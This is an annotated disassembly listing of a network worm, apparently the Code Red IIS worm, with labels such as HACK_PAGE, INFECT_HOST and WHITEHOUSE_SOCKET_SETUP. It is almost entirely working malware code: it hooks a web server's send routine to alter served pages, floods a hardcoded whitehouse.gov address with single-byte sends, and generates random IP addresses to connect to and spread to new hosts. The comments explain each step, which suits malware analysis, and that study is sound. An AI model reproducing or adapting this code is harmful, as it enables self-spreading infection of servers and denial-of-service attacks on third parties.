seg000:0000066F 8B 85 4C FE FF FF mov eax, [ebp-1B4h] ; load eax with the address popped from the stack
seg000:00000675 8B 8D C8 FE FF FF mov ecx, [ebp-138h] ; load ecx with close socket
seg000:0000067B 89 48 04 mov [eax+4], ecx ; the next addr after the one popped is replaced with closesocket
seg000:0000067E 8B 95 68 FE FF FF mov edx, [ebp-198h] ; store data pointer in edx
seg000:00000684 89 95 50 FE FF FF mov [ebp-1B0h], edx ; store data pointer at ebp-1b0
seg000:0000068A EB 0F jmp short GET_HTML ; Jump
seg000:0000068C ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:0000068C
seg000:0000068C GET_HTML_INC: ; CODE XREF: HACK_PAGE+70j
seg000:0000068C 8B 85 50 FE FF FF mov eax, [ebp-1B0h] ; Get the next byte to compare to
seg000:00000692 83 C0 01 add eax, 1 ; Add
seg000:00000695 89 85 50 FE FF FF mov [ebp-1B0h], eax
seg000:0000069B
seg000:0000069B GET_HTML: ; CODE XREF: HACK_PAGE+3Bj
seg000:0000069B 8B 8D 68 FE FF FF mov ecx, [ebp-198h]
seg000:000006A1 81 C1 00 01 00 00 add ecx, 100h ; Add
seg000:000006A7 39 8D 50 FE FF FF cmp [ebp-1B0h], ecx ; compare shifted URL to HTML
seg000:000006AD 73 12 jnb short FOUND_HTML ; load eax with the data segment
seg000:000006AF 8B 95 50 FE FF FF mov edx, [ebp-1B0h]
seg000:000006B5 81 3A 4C 4D 54 48 cmp dword ptr [edx], 48544D4Ch ; look for HTML
seg000:000006BB 75 02 jnz short GET_HTML_INC_JUMP ; Jump if Not Zero (ZF=0)
seg000:000006BD EB 02 jmp short FOUND_HTML ; load eax with the data segment
seg000:000006BF ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000006BF
seg000:000006BF GET_HTML_INC_JUMP: ; CODE XREF: HACK_PAGE+6Cj
seg000:000006BF EB CB jmp short GET_HTML_INC ; Get the next byte to compare to
seg000:000006C1 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000006C1
seg000:000006C1 FOUND_HTML: ; CODE XREF: HACK_PAGE+5Ej
seg000:000006C1 ; HACK_PAGE+6Ej
seg000:000006C1 8B 85 50 FE FF FF mov eax, [ebp-1B0h] ; load eax with the data segment
seg000:000006C7 83 C0 04 add eax, 4 ; Add
seg000:000006CA 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h] ; set ecx with the counter
seg000:000006D0 89 41 08 mov [ecx+8], eax
seg000:000006D3 8B F4 mov esi, esp ; move the web data into the request return
seg000:000006D5 8D 95 48 FE FF FF lea edx, [ebp-1B8h] ; Load Effective Address
seg000:000006DB 52 push edx ; set ebp-1b8 to receive the old page protection
seg000:000006DC 6A 04 push 4 ; make page readwrte
seg000:000006DE 68 00 40 00 00 push 4000h ; for 4000 hex bytes
seg000:000006E3 8B 85 CC FE FF FF mov eax, [ebp-134h] ; stored write address for w3svc
seg000:000006E9 50 push eax
seg000:000006EA FF 95 A8 FE FF FF call dword ptr [ebp-158h] ; VirtualProtect
seg000:000006F0 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000006F2 90 nop ; No Operation
seg000:000006F3 43 inc ebx ; Increment by 1
seg000:000006F4 4B dec ebx ; Decrement by 1
seg000:000006F5 43 inc ebx ; Increment by 1
seg000:000006F6 4B dec ebx ; Decrement by 1
seg000:000006F7 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 0 ; reset counter to 0
seg000:00000701 EB 0F jmp short TCPSOCKSEND_FIND ; check if counter is 3000h yet
seg000:00000703 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000703
seg000:00000703 TCPSOCKSEND_FIND_INC: ; CODE XREF: HACK_PAGE+123j
seg000:00000703 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h]
seg000:00000709 83 C1 01 add ecx, 1 ; Add
seg000:0000070C 89 8D 4C FE FF FF mov [ebp-1B4h], ecx
seg000:00000712
seg000:00000712 TCPSOCKSEND_FIND: ; CODE XREF: HACK_PAGE+B2j
seg000:00000712 81 BD 4C FE FF FF+ cmp dword ptr [ebp-1B4h], 3000h ; check if counter is 3000h yet
seg000:0000071C 7D 56 jge short RESET_MEM_PROTECTION ; go here if it is
seg000:0000071E 8B 95 CC FE FF FF mov edx, [ebp-134h] ; set edx to the base
seg000:00000724 03 95 4C FE FF FF add edx, [ebp-1B4h] ; add the offset from counter
seg000:0000072A 8B 02 mov eax, [edx] ; store the value at the offset into eax
seg000:0000072C 3B 85 B0 FE FF FF cmp eax, [ebp-150h] ; check ebp-150 against eax(tcpsocksend)
seg000:00000732 75 3E jnz short TCPSOCKSEND_FIND_INC_JUMP ; jump here on a not match
seg000:00000734 8B 8D CC FE FF FF mov ecx, [ebp-134h] ; load base into ecx
seg000:0000073A 03 8D 4C FE FF FF add ecx, [ebp-1B4h] ; set ecx to the address of tcpsocksend
seg000:00000740 8B 95 60 FE FF FF mov edx, [ebp-1A0h] ; set edx to o.C98
seg000:00000746 89 11 mov [ecx], edx ; replace the call to TCPSOCKSEND to o.C98
seg000:00000748 8B F4 mov esi, esp
seg000:0000074A 68 00 51 25 02 push 2255100h ; sleep for a long time
seg000:0000074F FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:00000755 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000757 90 nop ; No Operation
seg000:00000758 43 inc ebx ; Increment by 1
seg000:00000759 4B dec ebx ; Decrement by 1
seg000:0000075A 43 inc ebx ; Increment by 1
seg000:0000075B 4B dec ebx ; Decrement by 1
seg000:0000075C 8B 85 CC FE FF FF mov eax, [ebp-134h] ; set eax to the base of the loaded dll
seg000:00000762 03 85 4C FE FF FF add eax, [ebp-1B4h] ; set eax to actual address of tcpsocksend
seg000:00000768 8B 8D B0 FE FF FF mov ecx, [ebp-150h] ; set ecx to tcpsocksend
seg000:0000076E 89 08 mov [eax], ecx ; replace the call to tcpsocksend with the original
seg000:00000770 EB 02 jmp short RESET_MEM_PROTECTION ; RESET_MEM_PROTECTION
seg000:00000772 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000772
seg000:00000772 TCPSOCKSEND_FIND_INC_JUMP: ; CODE XREF: HACK_PAGE+E3j
seg000:00000772 EB 8F jmp short TCPSOCKSEND_FIND_INC ; Jump
seg000:00000774 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000774
seg000:00000774 RESET_MEM_PROTECTION: ; CODE XREF: HACK_PAGE+CDj
seg000:00000774 ; HACK_PAGE+121j
seg000:00000774 8B F4 mov esi, esp ; RESET_MEM_PROTECTION
seg000:00000776 8D 95 4C FE FF FF lea edx, [ebp-1B4h] ; Load Effective Address
seg000:0000077C 52 push edx
seg000:0000077D 8B 85 48 FE FF FF mov eax, [ebp-1B8h]
seg000:00000783 50 push eax
seg000:00000784 68 00 40 00 00 push 4000h
seg000:00000789 8B 8D CC FE FF FF mov ecx, [ebp-134h]
seg000:0000078F 51 push ecx
seg000:00000790 FF 95 A8 FE FF FF call dword ptr [ebp-158h] ; VirtualProtect
seg000:00000796 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000798 90 nop ; No Operation
seg000:00000799 43 inc ebx ; Increment by 1
seg000:0000079A 4B dec ebx ; Decrement by 1
seg000:0000079B 43 inc ebx ; Increment by 1
seg000:0000079C 4B dec ebx ; Decrement by 1
seg000:0000079D
seg000:0000079D DO_THE_WORK: ; CODE XREF: DO_RVA+3D5j
seg000:0000079D ; DO_RVA+40Dj ...
seg000:0000079D BA 01 00 00 00 mov edx, 1 ; this exits from sub 224, not positive of the end result.
seg000:000007A2 85 D2 test edx, edx ; if edx ==0, then jump down to c91
seg000:000007A4 0F 84 E7 04 00 00 jz TIGHT_LOOP ; This is a tight loop
seg000:000007AA 8B F4 mov esi, esp
seg000:000007AC 6A 00 push 0 ; HANDLE hTemplateFile // handle to template file
seg000:000007AE 68 80 00 00 00 push 80h ; '?' ; DWORD dwFlagsAndAttributes // file attributes
seg000:000007AE ; this is FILE_ATTRIBUTE_NORMAL
seg000:000007B3 6A 03 push 3 ; DWORD dwCreationDisposition // how to create
seg000:000007B3 ; this is for OPEN_EXISTING
seg000:000007B5 6A 00 push 0 ; LPSECURITY_ATTRIBUTES lpSecurityAttributes // SD
seg000:000007B7 6A 01 push 1 ; DWORD dwShareMode // share mode
seg000:000007B7 ; this equates to FILE_SHARE_READ
seg000:000007B9 68 00 00 00 80 push 80000000h ; DWORD dwDesiredAccess // access mode
seg000:000007B9 ; this is for GENERIC_READ
seg000:000007BE 8B 85 68 FE FF FF mov eax, [ebp-198h]
seg000:000007C4 83 C0 63 add eax, 63h ; 'c' ; this points eax to c:\notworm
seg000:000007C7 50 push eax ; LPCTSTR lpFileName // file name
seg000:000007C8 FF 95 9C FE FF FF call dword ptr [ebp-164h] ; CreateFileA
seg000:000007CE 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000007D0 90 nop ; No Operation
seg000:000007D1 43 inc ebx ; Increment by 1
seg000:000007D2 4B dec ebx ; Decrement by 1
seg000:000007D3 43 inc ebx ; Increment by 1
seg000:000007D4 4B dec ebx ; Decrement by 1
seg000:000007D5 89 85 30 FE FF FF mov [ebp-1D0h], eax
seg000:000007DB 83 BD 30 FE FF FF+ cmp dword ptr [ebp-1D0h], 0FFFFFFFFh ; Compare Two Operands
seg000:000007E2 74 1F jz short NOTWORM_NO ; jump if Createfile failed
seg000:000007E4
seg000:000007E4 NOTWORM_YES: ; CODE XREF: HACK_PAGE+1B2j
seg000:000007E4 B9 01 00 00 00 mov ecx, 1
seg000:000007E9 85 C9 test ecx, ecx ; Logical Compare
seg000:000007EB 74 16 jz short NOTWORM_NO ; Jump if Zero (ZF=1)
seg000:000007ED 8B F4 mov esi, esp
seg000:000007EF 68 FF FF FF 7F push 7FFFFFFFh ; push a LONG time(basically forever)
seg000:000007F4 FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:000007F4 ;
seg000:000007FA 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000007FC 90 nop ; No Operation
seg000:000007FD 43 inc ebx ; Increment by 1
seg000:000007FE 4B dec ebx ; Decrement by 1
seg000:000007FF 43 inc ebx ; Increment by 1
seg000:00000800 4B dec ebx ; Decrement by 1
seg000:00000801 EB E1 jmp short NOTWORM_YES ; Jump
seg000:00000803 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000803
seg000:00000803 NOTWORM_NO: ; CODE XREF: HACK_PAGE+193j
seg000:00000803 ; HACK_PAGE+19Cj
seg000:00000803 8B F4 mov esi, esp
seg000:00000805 8D 95 38 FE FF FF lea edx, [ebp-1C8h] ; LPSYSTEMTIME lpSystemTime // system time
seg000:0000080B 52 push edx
seg000:0000080C FF 95 94 FE FF FF call dword ptr [ebp-16Ch] ; GetSystemTime
seg000:00000812 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000814 90 nop ; No Operation
seg000:00000815 43 inc ebx ; Increment by 1
seg000:00000816 4B dec ebx ; Decrement by 1
seg000:00000817 43 inc ebx ; Increment by 1
seg000:00000818 4B dec ebx ; Decrement by 1
seg000:00000819 8B 85 3E FE FF FF mov eax, [ebp-1C2h] ; load eax with day and hour, UTC
seg000:0000081F 89 85 4C FE FF FF mov [ebp-1B4h], eax ; store day in ebp-1b4
seg000:00000825 8B 8D 4C FE FF FF mov ecx, [ebp-1B4h] ; set ecx to day and hour UTC
seg000:0000082B 81 E1 FF FF 00 00 and ecx, 0FFFFh ; get lower word(hour, UTC)
seg000:00000831 89 8D 4C FE FF FF mov [ebp-1B4h], ecx ; save the UTC hour at ebp-1b4
seg000:00000837 83 BD 4C FE FF FF+ cmp dword ptr [ebp-1B4h], 14h ; check if hour is less than 20
seg000:0000083E 0F 8C 47 01 00 00 jl INFECT_HOST ; set seconds and milisecond to eax
seg000:00000844
seg000:00000844 TIME_GREATER_20: ; CODE XREF: HACK_PAGE+337j
seg000:00000844 BA 01 00 00 00 mov edx, 1
seg000:00000849 85 D2 test edx, edx ; Logical Compare
seg000:0000084B 0F 84 3A 01 00 00 jz INFECT_HOST ; set seconds and milisecond to eax
seg000:00000851 8B F4 mov esi, esp
seg000:00000853 8D 85 38 FE FF FF lea eax, [ebp-1C8h] ; LPSYSTEMTIME lpSystemTime // system time
seg000:00000859 50 push eax
seg000:0000085A FF 95 94 FE FF FF call dword ptr [ebp-16Ch] ; GetSystemTime
seg000:00000860 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000862 90 nop ; No Operation
seg000:00000863 43 inc ebx ; Increment by 1
seg000:00000864 4B dec ebx ; Decrement by 1
seg000:00000865 43 inc ebx ; Increment by 1
seg000:00000866 4B dec ebx ; Decrement by 1
seg000:00000867 8B 8D 3E FE FF FF mov ecx, [ebp-1C2h] ; load ecx with day and hour, UTC
seg000:0000086D 89 8D 4C FE FF FF mov [ebp-1B4h], ecx ; store ecx in ebp-1b4
seg000:00000873 8B 95 4C FE FF FF mov edx, [ebp-1B4h]
seg000:00000879 81 E2 FF FF 00 00 and edx, 0FFFFh ; load edx with day and hour UTC
seg000:0000087F 89 95 4C FE FF FF mov [ebp-1B4h], edx
seg000:00000885 83 BD 4C FE FF FF+ cmp dword ptr [ebp-1B4h], 1Ch ; check if hour is less than 28
seg000:0000088C 7C 1F jl short WHITEHOUSE_SOCKET_SETUP ; Jump if Less (SF!=OF)
seg000:0000088E
seg000:0000088E NEVER_CALLED1: ; CODE XREF: HACK_PAGE+25Cj
seg000:0000088E B8 01 00 00 00 mov eax, 1 ; this code is self referential and is never called, as far as can be seen
seg000:00000893 85 C0 test eax, eax ; Logical Compare
seg000:00000895 74 16 jz short WHITEHOUSE_SOCKET_SETUP ; Jump if Zero (ZF=1)
seg000:00000897 8B F4 mov esi, esp
seg000:00000899 68 FF FF FF 7F push 7FFFFFFFh
seg000:0000089E FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:000008A4 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000008A6 90 nop ; No Operation
seg000:000008A7 43 inc ebx ; Increment by 1
seg000:000008A8 4B dec ebx ; Decrement by 1
seg000:000008A9 43 inc ebx ; Increment by 1
seg000:000008AA 4B dec ebx ; Decrement by 1
seg000:000008AB EB E1 jmp short NEVER_CALLED1 ; this code is self referential and is never called, as far as can be seen
seg000:000008AD ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:000008AD
seg000:000008AD WHITEHOUSE_SOCKET_SETUP: ; CODE XREF: HACK_PAGE+23Dj
seg000:000008AD ; HACK_PAGE+246j
seg000:000008AD 8B F4 mov esi, esp
seg000:000008AF 6A 64 push 64h ; 'd'
seg000:000008B1 FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:000008B7 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000008B9 90 nop ; No Operation
seg000:000008BA 43 inc ebx ; Increment by 1
seg000:000008BB 4B dec ebx ; Decrement by 1
seg000:000008BC 43 inc ebx ; Increment by 1
seg000:000008BD 4B dec ebx ; Decrement by 1
seg000:000008BE 8B F4 mov esi, esp
seg000:000008C0 6A 00 push 0 ; int protocol
seg000:000008C2 6A 01 push 1 ; fam
seg000:000008C4 6A 02 push 2 ; pr
seg000:000008C6 FF 95 B8 FE FF FF call dword ptr [ebp-148h] ; socket
seg000:000008CC 3B F4 cmp esi, esp ; Compare Two Operands
seg000:000008CE 90 nop ; No Operation
seg000:000008CF 43 inc ebx ; Increment by 1
seg000:000008D0 4B dec ebx ; Decrement by 1
seg000:000008D1 43 inc ebx ; Increment by 1
seg000:000008D2 4B dec ebx ; Decrement by 1
seg000:000008D3 89 85 78 FE FF FF mov [ebp-188h], eax ; store sock descriptor
seg000:000008D9 66 C7 85 7C FE FF+ mov word ptr [ebp-184h], 2 ; set afam
seg000:000008E2 66 C7 85 7E FE FF+ mov word ptr [ebp-182h], 5000h ; set port(80)
seg000:000008EB C7 85 80 FE FF FF+ mov dword ptr [ebp-180h], 5BF089C6h ; set ip (www.whitehouse.gov)
seg000:000008F5 8B F4 mov esi, esp
seg000:000008F7 6A 10 push 10h ; push len
seg000:000008F9 8D 8D 7C FE FF FF lea ecx, [ebp-184h] ; push sockaddr
seg000:000008FF 51 push ecx
seg000:00000900 8B 95 78 FE FF FF mov edx, [ebp-188h] ; push sock descriptor
seg000:00000906 52 push edx
seg000:00000907 FF 95 BC FE FF FF call dword ptr [ebp-144h] ; connect
seg000:0000090D 3B F4 cmp esi, esp ; Compare Two Operands
seg000:0000090F 90 nop ; No Operation
seg000:00000910 43 inc ebx ; Increment by 1
seg000:00000911 4B dec ebx ; Decrement by 1
seg000:00000912 43 inc ebx ; Increment by 1
seg000:00000913 4B dec ebx ; Decrement by 1
seg000:00000914 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 0 ; store 0 at ebp-1b4
seg000:0000091E EB 0F jmp short WHITEHOUSE_SOCKET_SEND ; if counter >= 18000h jump
seg000:00000920 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000920
seg000:00000920 WHITEHOUSE_SOCKET_SEND_INC: ; CODE XREF: HACK_PAGE+321j
seg000:00000920 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:00000926 83 C0 01 add eax, 1 ; inc counter
seg000:00000929 89 85 4C FE FF FF mov [ebp-1B4h], eax
seg000:0000092F
seg000:0000092F WHITEHOUSE_SOCKET_SEND: ; CODE XREF: HACK_PAGE+2CFj
seg000:0000092F 81 BD 4C FE FF FF+ cmp dword ptr [ebp-1B4h], 18000h ; if counter >= 18000h jump
seg000:00000939 7D 37 jge short WHITEHOUSE_SLEEP_LOOP ; Jump if Greater or Equal (SF=OF)
seg000:0000093B 8B F4 mov esi, esp
seg000:0000093D 68 E8 03 00 00 push 3E8h
seg000:00000942 FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:00000948 3B F4 cmp esi, esp ; Compare Two Operands
seg000:0000094A 90 nop ; No Operation
seg000:0000094B 43 inc ebx ; Increment by 1
seg000:0000094C 4B dec ebx ; Decrement by 1
seg000:0000094D 43 inc ebx ; Increment by 1
seg000:0000094E 4B dec ebx ; Decrement by 1
seg000:0000094F 8B F4 mov esi, esp
seg000:00000951 6A 00 push 0 ; no flags
seg000:00000953 6A 01 push 1 ; send len 1
seg000:00000955 8D 8D FC FE FF FF lea ecx, [ebp-104h] ; addr of buf
seg000:0000095B 51 push ecx
seg000:0000095C 8B 95 78 FE FF FF mov edx, [ebp-188h] ; sock descriptor
seg000:00000962 52 push edx
seg000:00000963 FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; Send
seg000:00000963 ;
seg000:00000963 ; sends 1 byte
seg000:00000969 3B F4 cmp esi, esp ; Compare Two Operands
seg000:0000096B 90 nop ; No Operation
seg000:0000096C 43 inc ebx ; Increment by 1
seg000:0000096D 4B dec ebx ; Decrement by 1
seg000:0000096E 43 inc ebx ; Increment by 1
seg000:0000096F 4B dec ebx ; Decrement by 1
seg000:00000970 EB AE jmp short WHITEHOUSE_SOCKET_SEND_INC ; jump back to send
seg000:00000972 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000972
seg000:00000972 WHITEHOUSE_SLEEP_LOOP: ; CODE XREF: HACK_PAGE+2EAj
seg000:00000972 8B F4 mov esi, esp
seg000:00000974 68 00 00 00 01 push 1000000h ; sleep for around 4.66 hours
seg000:00000979 FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:0000097F 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000981 90 nop ; No Operation
seg000:00000982 43 inc ebx ; Increment by 1
seg000:00000983 4B dec ebx ; Decrement by 1
seg000:00000984 43 inc ebx ; Increment by 1
seg000:00000985 4B dec ebx ; Decrement by 1
seg000:00000986 E9 B9 FE FF FF jmp TIME_GREATER_20 ; Jump
seg000:0000098B ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:0000098B
seg000:0000098B INFECT_HOST: ; CODE XREF: HACK_PAGE+1EFj
seg000:0000098B ; HACK_PAGE+1FCj
seg000:0000098B 8B 85 44 FE FF FF mov eax, [ebp-1BCh] ; set seconds and milisecond to eax
seg000:00000991 89 85 50 FE FF FF mov [ebp-1B0h], eax ; store at ebp-1b0
seg000:00000997 8B 8D 50 FE FF FF mov ecx, [ebp-1B0h] ; load seconds and miliseconds to ecx
seg000:0000099D 0F AF 8D 50 FE FF+ imul ecx, [ebp-1B0h] ; multiply by itself
seg000:000009A4 69 C9 E3 59 CD 00 imul ecx, 0CD59E3h ; multiply by 0cd59e3
seg000:000009AA 8B 95 50 FE FF FF mov edx, [ebp-1B0h] ; store sec/milisec inedx
seg000:000009B0 69 D2 B9 E1 01 00 imul edx, 1E1B9h ; multiply sec/mil by 1e1b9
seg000:000009B6 8B 85 74 FE FF FF mov eax, [ebp-18Ch] ; set eax to the threadcount
seg000:000009BC 03 C1 add eax, ecx ; add ecx(multiplier) to eax
seg000:000009BE 03 D0 add edx, eax ; add eax to edx
seg000:000009C0 89 95 50 FE FF FF mov [ebp-1B0h], edx ; store new number at ebp-1b0
seg000:000009C6 8B 8D 74 FE FF FF mov ecx, [ebp-18Ch] ; load threadcount imul(o.5bd) into ecx
seg000:000009CC 69 C9 83 33 CF 00 imul ecx, 0CF3383h ; multiply it
seg000:000009D2 81 C1 53 FE 6B 07 add ecx, 76BFE53h ; add to it
seg000:000009D8 89 8D 74 FE FF FF mov [ebp-18Ch], ecx ; store it again
seg000:000009DE 8B 95 74 FE FF FF mov edx, [ebp-18Ch] ; set edx to the new val
seg000:000009E4 81 E2 FF 00 00 00 and edx, 0FFh ; get the last byte
seg000:000009EA 89 95 50 FE FF FF mov [ebp-1B0h], edx ; move the last byte to ebp-1b0
seg000:000009F0 83 BD 50 FE FF FF+ cmp dword ptr [ebp-1B0h], 7Fh ; '' ; check if the byte is 7F
seg000:000009F7 74 0C jz short loc_A05 ; if it is, go here
seg000:000009F9 81 BD 50 FE FF FF+ cmp dword ptr [ebp-1B0h], 0E0h ; '?; check if the last byteis 0e0
seg000:00000A03 75 11 jnz short loc_A16 ; if it is not, go here
seg000:00000A05
seg000:00000A05 loc_A05: ; CODE XREF: HACK_PAGE+3A8j
seg000:00000A05 8B 85 74 FE FF FF mov eax, [ebp-18Ch] ; load eax with the ebp-18c val
seg000:00000A0B 05 A9 0D 02 00 add eax, 20DA9h ; add 20da9 to it
seg000:00000A10 89 85 74 FE FF FF mov [ebp-18Ch], eax ; set the value to the new value
seg000:00000A16
seg000:00000A16 loc_A16: ; CODE XREF: HACK_PAGE+3B4j
seg000:00000A16 8B F4 mov esi, esp ; sleep for 100 ms
seg000:00000A18 6A 64 push 64h ; 'd' ; 100 miliseconds
seg000:00000A1A FF 95 A0 FE FF FF call dword ptr [ebp-160h] ; Sleep
seg000:00000A20 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000A22 90 nop ; No Operation
seg000:00000A23 43 inc ebx ; Increment by 1
seg000:00000A24 4B dec ebx ; Decrement by 1
seg000:00000A25 43 inc ebx ; Increment by 1
seg000:00000A26 4B dec ebx ; Decrement by 1
seg000:00000A27 8B F4 mov esi, esp ; Create a socket
seg000:00000A29 6A 00 push 0 ; int protocol
seg000:00000A2B 6A 01 push 1 ; int type
seg000:00000A2D 6A 02 push 2 ; int af
seg000:00000A2F FF 95 B8 FE FF FF call dword ptr [ebp-148h] ; socket
seg000:00000A35 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000A37 90 nop ; No Operation
seg000:00000A38 43 inc ebx ; Increment by 1
seg000:00000A39 4B dec ebx ; Decrement by 1
seg000:00000A3A 43 inc ebx ; Increment by 1
seg000:00000A3B 4B dec ebx ; Decrement by 1
seg000:00000A3C 89 85 78 FE FF FF mov [ebp-188h], eax ; save the sock descriptor to ebp-188
seg000:00000A42 66 C7 85 7C FE FF+ mov word ptr [ebp-184h], 2 ; this sets up the socaddr struct
seg000:00000A4B 66 C7 85 7E FE FF+ mov word ptr [ebp-182h], 5000h
seg000:00000A54 8B 8D 74 FE FF FF mov ecx, [ebp-18Ch] ; load ecx with the ip address
seg000:00000A5A 89 8D 80 FE FF FF mov [ebp-180h], ecx ; set ebp-180 to the ipaddress
seg000:00000A60 8B F4 mov esi, esp
seg000:00000A62 6A 10 push 10h ; int namelen
seg000:00000A64 8D 95 7C FE FF FF lea edx, [ebp-184h] ; Load Effective Address
seg000:00000A6A 52 push edx ; const struct sockaddr FAR *name
seg000:00000A6B 8B 85 78 FE FF FF mov eax, [ebp-188h]
seg000:00000A71 50 push eax ; SOCKET s
seg000:00000A72 FF 95 BC FE FF FF call dword ptr [ebp-144h] ; connect
seg000:00000A78 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000A7A 90 nop ; No Operation
seg000:00000A7B 43 inc ebx ; Increment by 1
seg000:00000A7C 4B dec ebx ; Decrement by 1
seg000:00000A7D 43 inc ebx ; Increment by 1
seg000:00000A7E 4B dec ebx ; Decrement by 1
seg000:00000A7F 85 C0 test eax, eax ; check if the connect succeeded
seg000:00000A81 0F 85 EF 01 00 00 jnz SOCK_CLOSE_LOOP ; if the connect failed goto closesocketloop
seg000:00000A87 8B F4 mov esi, esp ; Send a "GET "
seg000:00000A89 6A 00 push 0
seg000:00000A8B 6A 04 push 4
seg000:00000A8D 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; points to GET
seg000:00000A93 51 push ecx
seg000:00000A94 8B 95 78 FE FF FF mov edx, [ebp-188h] ; points to socket
seg000:00000A9A 52 push edx
seg000:00000A9B FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send a GET
seg000:00000AA1 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000AA3 90 nop ; No Operation
seg000:00000AA4 43 inc ebx ; Increment by 1
seg000:00000AA5 4B dec ebx ; Decrement by 1
seg000:00000AA6 43 inc ebx ; Increment by 1
seg000:00000AA7 4B dec ebx ; Decrement by 1
seg000:00000AA8 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 0 ; store a 0 in 1b4
seg000:00000AB2 8B 45 08 mov eax, [ebp+8] ; load isapi filter
seg000:00000AB5 8B 48 68 mov ecx, [eax+68h] ; set ecx to offset inside isapi filter
seg000:00000AB8 89 8D 64 FE FF FF mov [ebp-19Ch], ecx ; store isapi pointer at ebp-19c
seg000:00000ABE EB 1E jmp short SETUP_URL_TO_SEND ; load ecx with isapi offset
seg000:00000AC0 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000AC0
seg000:00000AC0 GET_NEXT_URL_BYTE: ; CODE XREF: HACK_PAGE+49Cj
seg000:00000AC0 8B 95 64 FE FF FF mov edx, [ebp-19Ch] ; increment the url pointer at ebp-19c
seg000:00000AC6 83 C2 01 add edx, 1 ; Add
seg000:00000AC9 89 95 64 FE FF FF mov [ebp-19Ch], edx
seg000:00000ACF 8B 85 4C FE FF FF mov eax, [ebp-1B4h] ; inc counter
seg000:00000AD5 83 C0 01 add eax, 1 ; Add
seg000:00000AD8 89 85 4C FE FF FF mov [ebp-1B4h], eax
seg000:00000ADE
seg000:00000ADE SETUP_URL_TO_SEND: ; CODE XREF: HACK_PAGE+46Fj
seg000:00000ADE 8B 8D 64 FE FF FF mov ecx, [ebp-19Ch] ; load ecx with isapi offset
seg000:00000AE4 0F BE 11 movsx edx, byte ptr [ecx] ; move the byte to edx
seg000:00000AE7 85 D2 test edx, edx ; look for null
seg000:00000AE9 74 02 jz short SEND_URL ; if it's null, then go here
seg000:00000AEB EB D3 jmp short GET_NEXT_URL_BYTE ; else go here
seg000:00000AED ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000AED
seg000:00000AED SEND_URL: ; CODE XREF: HACK_PAGE+49Aj
seg000:00000AED 8B F4 mov esi, esp
seg000:00000AEF 6A 00 push 0 ; no flags
seg000:00000AF1 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:00000AF7 50 push eax ; push size
seg000:00000AF8 8B 4D 08 mov ecx, [ebp+8]
seg000:00000AFB 8B 51 68 mov edx, [ecx+68h] ; pointer to beginning of request
seg000:00000AFE 52 push edx
seg000:00000AFF 8B 85 78 FE FF FF mov eax, [ebp-188h] ; push socket
seg000:00000B05 50 push eax
seg000:00000B06 FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send
seg000:00000B0C 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000B0E 90 nop ; No Operation
seg000:00000B0F 43 inc ebx ; Increment by 1
seg000:00000B10 4B dec ebx ; Decrement by 1
seg000:00000B11 43 inc ebx ; Increment by 1
seg000:00000B12 4B dec ebx ; Decrement by 1
seg000:00000B13 8B F4 mov esi, esp ; send "?" query specifier
seg000:00000B15 6A 00 push 0 ; no flags
seg000:00000B17 6A 01 push 1 ; push size 1
seg000:00000B19 8B 8D 68 FE FF FF mov ecx, [ebp-198h]
seg000:00000B1F 83 C1 05 add ecx, 5 ; set pointer to 3f
seg000:00000B22 51 push ecx
seg000:00000B23 8B 95 78 FE FF FF mov edx, [ebp-188h] ; push sock desc
seg000:00000B29 52 push edx
seg000:00000B2A FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send
seg000:00000B30 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000B32 90 nop ; No Operation
seg000:00000B33 43 inc ebx ; Increment by 1
seg000:00000B34 4B dec ebx ; Decrement by 1
